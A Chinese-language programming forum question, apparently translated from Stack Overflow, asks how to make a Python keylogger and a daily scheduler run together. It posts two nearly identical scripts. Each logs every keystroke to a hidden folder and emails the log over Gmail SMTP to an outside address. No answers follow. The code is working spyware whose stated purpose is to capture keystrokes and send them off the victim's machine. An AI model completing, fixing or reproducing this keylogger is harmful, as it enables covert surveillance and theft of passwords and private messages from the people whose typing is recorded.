如何在一个文件中运行Scheduler和Keylogger功能

时间:2019-04-04 12:24:06

标签: python

朋友们,我正在python中创建键盘记录程序,我每天晚上8点在gmail上发送日志文件

我正在使用调度程序

这是我的代码

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email import encoders
from email.mime.base import MIMEBase
import schedule
import time
import smtplib
from pynput.keyboard import Key, Listener
import logging
import os

fpath = "C:/importent"
access_rights = 0o755

try:  
    os.mkdir(fpath, access_rights)
except OSError:  
    print ("Creation of the directory %s failed" % fpath)
else:  
    print ("Successfully created the directory %s" % fpath)



def job():
    msg = MIMEMultipart()
    msg['Subject'] = "subject"
    part = MIMEBase('application', "octet-stream")
    part.set_payload(open("C:/importent/log.txt", "rb").read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment; filename="log.txt"')
    msg.attach(part)
    # to send
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login("xxxx@gmail.com", "xxxx")
    # mailer.connect()
    server.sendmail("xxxx@gmail.com","wivava@red-mail.top", msg.as_string())
    # mailer.close()
    server.quit()
    print('email send')

    return 



log_dir = "C:/importent/"

logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()



schedule.every().day.at("17:42").do(job)

while 1:
    schedule.run_pending()
    time.sleep(1)

在上面的代码中,我的键盘记录程序正在运行,但我的调度程序却无法运行

在下面的代码中,我的调度程序可以正常工作,但键盘记录程序功能却无法正常工作

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email import encoders
from email.mime.base import MIMEBase
import schedule
import time
import smtplib
from pynput.keyboard import Key, Listener
import logging
import os

fpath = "C:/importent"
access_rights = 0o755

try:  
    os.mkdir(fpath, access_rights)
except OSError:  
    print ("Creation of the directory %s failed" % fpath)
else:  
    print ("Successfully created the directory %s" % fpath)



def job():
    msg = MIMEMultipart()
    msg['Subject'] = "subject"
    part = MIMEBase('application', "octet-stream")
    part.set_payload(open("C:/importent/log.txt", "rb").read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment; filename="log.txt"')
    msg.attach(part)
    # to send
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login("xxxx@gmail.com", "xxxx")
    # mailer.connect()
    server.sendmail("xxxx@gmail.com","wivava@red-mail.top", msg.as_string())
    # mailer.close()
    server.quit()
    print('email send')

    return 


schedule.every().day.at("17:42").do(job)

while 1:
    schedule.run_pending()
    time.sleep(1)


log_dir = "C:/importent/"

logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

请告诉我解决方法

0 个答案:

没有答案